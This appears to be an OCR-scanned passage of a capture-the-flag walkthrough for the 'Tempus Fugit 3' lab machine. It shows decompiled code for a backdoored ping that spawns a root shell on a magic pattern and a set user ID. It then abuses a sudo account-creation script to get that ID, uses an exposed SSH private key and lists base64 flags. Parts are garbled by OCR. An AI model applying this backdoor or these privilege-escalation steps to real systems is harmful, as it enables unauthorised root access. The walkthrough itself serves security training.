We exfil ping



We find what we are looking for in main

options = options | 8;
fill(local_28,optarg,optarg);
__1is0c99_sscanf(optarg,&AT_001050c2,&magic);
if ((magic == 0Oxdeadbeef) && (_Varl = getuid(), _Varl == 0x3f2)) {
puts("Enjoy your root-shell h4xor!");
getchar();

setuid(0);
system("/bin/sh");
return 0;
1
2 142 options = options | 8;
143 fill(local_28,optarg,optarg);
29 Hex Decimal 144 __is0c99_sscanf(optarg,&AT_001050c2,&nagic);
145 if ((magic == @Oxdeadbeef) && (_Varl = getuid(), _Varl == 0x3f2)) {
nj weltd el 1010 4 146 puts("Enjoy your root-shell h4xer!");
sword 3F2h 1010 147 getchar();
148 setuid(0);
wcharl6 LE  u'c 149 system("/bin/sh");
150 return 0;
151 }

So: if case = 0x70 That’s hex for p
if “magic” is deadbeef and userid is 1010, we get a shell.

What is this magic...

-p is pattern. We try endering deadbeef, but nothing happens.
valinda@TF3:~$ ping -p deadbeef
PATTERN: Oxdeadbeef

usage: ping [-LRdfngrv] [-c count] [-1 wait] [-1 preload]
[-p pattern] [-s packetsize] [-t ttl] [-I interface address] host

Well, apparently we need to become user 1010...
We leave this for now. And check our other findings. We can sudo.

valinda@TF3:~$ sudo /root/scripts/addcustomer
This is a simple script for creating customers accounts

Please enter userid. Must be over 1200:
1200

Please enter username:

test

Please enter password:
test

.,I‘-_-.'| el =




A /

We created a user

ethelyn:x:1007:1007:: /home/ethelyn:/bin/bash
tatiania:x:1008:1008::/home/tatiania:/bin/bash
aparna:x:1009:1009: : /home/aparna:/bin/bash
renelle:x:1010:1010: :/home/renelle:/bin/bash
ichabod:x:1011:1011::/home/ichabod:/bin/bash

guylaine:x:1012:1012::/home/guylaine:/bin/bash
pricing:x:1013:1013::/home/pricing:/bin/bash
rizwan:x:1014:1014:: /home/rizwan:/bin/bash
test:x:1200:1001::/home/test:/bin/sh

v Z"] ' rnla @ =1 ¢

The addcustomer script is supposed to be exploitable.
The ... file is interesting.
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
dr-Xr-Xr-x
drwxr-xr-x

drwxr-xr-x
drwxr-xr-x
drwxr-xr-x

DWW WWWwWWwo Ao -

Owned by a non-existing user 1337
valinda@TF3:~$ sudo /root/scripts/addcustomer
This is a simple script for creating customers accounts

Please enter userid. Must be over 1200:
EEL

Please enter username:

me

Please enter password:

me

valinda@TF3:~$ tail -n3 /etc/passwd
rizwan:x:1014:1014::/home/rizwan:/bin/bash
test:x:1200:1001:: /home/test:/bin/sh
me:Xx:1337:1001:: /home/me: /bin/sh

valinda@

Password:

$ id

uid=1337(me) gid=1001(darren) groups=1001(darren)
(Don’t mind the grouplD. It is fixed in the release. It is now 1005)




AN /

$ cat /...

BEGIN OPENSSH PRIVATE KEY
b3B1bnNzaClrZXktdjEAAAAABGS5vbmUAAAAEbMOUZQAAAAAAAAABAAABFWAAAAdZc2gtcn
NhAAAAAWEAAQAAAQEArSDbQgTPTIX5e+X50NdFEkdGoa5zw+UMUTXEZd5 riwvvd+L6HHV2zZ
RWQrszGGgvmZTpehg33nv3Y0Y55Xhj jUyM7viu2a9cDgLTYPI0yPed441hQZIcgob7ncBQp
FATgiJ691hF3Y9z/ve+ugSajHyr6TiCxSLQT9moYWUOpSk4Hy+84B9Wkk4wpMvdeBOgwl1
sbe3x152j1ZhInNSFSPdxd/F7sS1T72yn1vEXGIKywZKG1iG+4AehxsblnC6Uh18HXE3Xx1
45KSqvMB3dagiQXg7690ndnHGt8hmzJIZOOMVED/nSUWXI2wIMIBh6hdfhJAZsTu2e0sV0a
fPe2jkXcQQAAABAQFEPqEBRD6gAAAAdZzc2gtcnNhAAABAQCTINTCBMI8hT175fk410USRO
ahrnPD5QxRNcR13mta+934vocdXbNFZCuzMYaC+Z1016Grfee/dg5jnleGONTIzu+K7Zrl
WOAtNg8k7197] jWFBklyChvudwFCkUBOCINnr2KEXdj3P+9766BIqMfKvpOILFItBP2ahhZ
TS1KTgfL7zgH1aSTjCky914E6pYnWxt7fGVLa0ImEmc1IVI93F38XuxKVPvbKTW8RcYgrL
BkoaIb7gB6HGxuWcLpSGXwTETdfHX]j kpKq8wHd1qCIBeDvro6d2cca3yGbMLnTQy8QP+dJ
RZcjbAgwkGHqF1+EkBmx07Z7SxXRp897a0RdxBAAAAAWEAAQAAAQBd+FuKNTo46K9F5MmL
ZIMFHNL1pz8GsShCXCDB+jvjIpqVDTVhZx6LI5fgp50PMINYKU2D08+ySG3+/E8dd3Nnm4
rBqb5Wbd5AK/uEWzJ2KTY6wTLTh1Ep2kZAz35L3K6 f6PFnPrLGVTvujFCSe5HYybFiVEW2S
2MroGQ1yT2Q+xBHz1a+85V7CKOwWIb40s1631QxgJ12K0rx0921QbVAzbNzsI25QcmkZKSL
QLSWZJKeO®BpE5MGKx6ZRIFsGC5PGODk+jECOIKTKSSin/9YMuKLW/DbBSZ2pF6POSs8A+X+
XI906cUf6ircNEoal9wrji6iWKPBgPGsRIT]s80/JoABAAAAgD40DYzHo169wcH2ADpUW2
J ZwaxXx4Xv1bVNY71ipfNPBhoSaFGX4moX1uDESbCmIWvEGZjFd2va/56UDSv2MONIrFCxOP
7y0umjDmaBShyV6iusEtyF2hudFND6aITV+TkGyGwzFdWeulsQ5mNGQXZ/G7jNPMoKVstI
rNOEOKWOEhAAAAgQDiAiP/B1lmDWmOaZUmOsz fSnAU9H7Pj LvvsBXve5r188SRhY rAFNkjP
U/Hd+EENzOyi0raBGul633CctMF4zAcXTg6Dgg82awckIsQvpvcQflgkWzD1Rz1Z1 ry7wG
14uMRNJE1gR010IS6cZ131170IVVtuWMorX5tMaonGTO7NwQAAAIEAXBpMb4quQAwBPZET
gcBASLAWLmMPY5f40rHqWFEgBem150YoL9CBgg84cyt8CQvReaVnllcwA90oUa+0K1LD1muv
KcKcUFCu+L2GvHVntMKP/IknY6zD8eKs/UGpPT3SJbQO1CwZDgpEKkmCEccvvV5n7GjD2Q1
0x61GKgdkb3XroEAAAAIcm9vdEBURjMBAgM=

END OPENSSH PRIVATE KEY

So who IS user 10107

renelle:x:1010:1010::/home/renelle:/bin/bash

valinda@TF3:~$ ssh -i key renelle@l92.168.100.1 -p 39113

The authenticity of host '[192.168.100.1]:39113 ([192.168.100.1]:39113)' can't be established.
ECDSA key fingerprint is SHA256:6vcZIevy76FqXz5FeCRL/1Gx0VTxHQi9SgUs1iWU2UQ.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '[192.168.100.1]:39113' (ECDSA) to the list of known hosts.

Linux TF3 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deblQul (2019-09-20) x86 64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
renelle@TF3:~$

The moment of thruth!

renelle@TF3:~$ ping -p deadbeef
PATTERN: Oxdeadbeef
Enjoy your root-shell h4x0r!

# id
uid=0(root) gid=1010(renelle) groups=1010(renelle)




Tempus Fugit 3 pwned...

Proof: RmxhZzV7IFdlYXJpbmcgYmlnIGIveSBwYW50cyBub3culLidgfQ==
Path: /root

Date: Wed Oct 9 02:43:31 CEST 2019

Whoami: root

Don't feed the bats tonight.

By @4ndr34z and @theart42

Thanks to our fellow teammates in @m@tl3ycr3w for betatesting! :-)

Flags:

Flagl{ Important findings }
RmxhZzF7IEltcG9ydGFudCBmaW5kaW5ncyB9

Flag2{ Is this the foothold | have been looking for?}
RmxhZzJ7IElIzIHRoaXMgdGhllGZvb3Rob2xklEkgaGF2ZSBiZWVulGxvb2tpbmcgZm9yP30=

Flag3{ Hey, reading secrets }
RmxhZzN7IEhleSwgcmVhZGluZyBzZWNyZXRzICB9

Flag4{ Look mom, | can exfiltrate! }
RmxhZzR71Exvb2sgbW9tLCBJIGNhbiBleGZpbHRYYXRIISB9

This is on root:
Flag5{ Wearing big boy pants now... }
RmxhzzV7IFdIYXJpbmcgYmInlGJveSBwYWS50cyBub3culidgfQ==



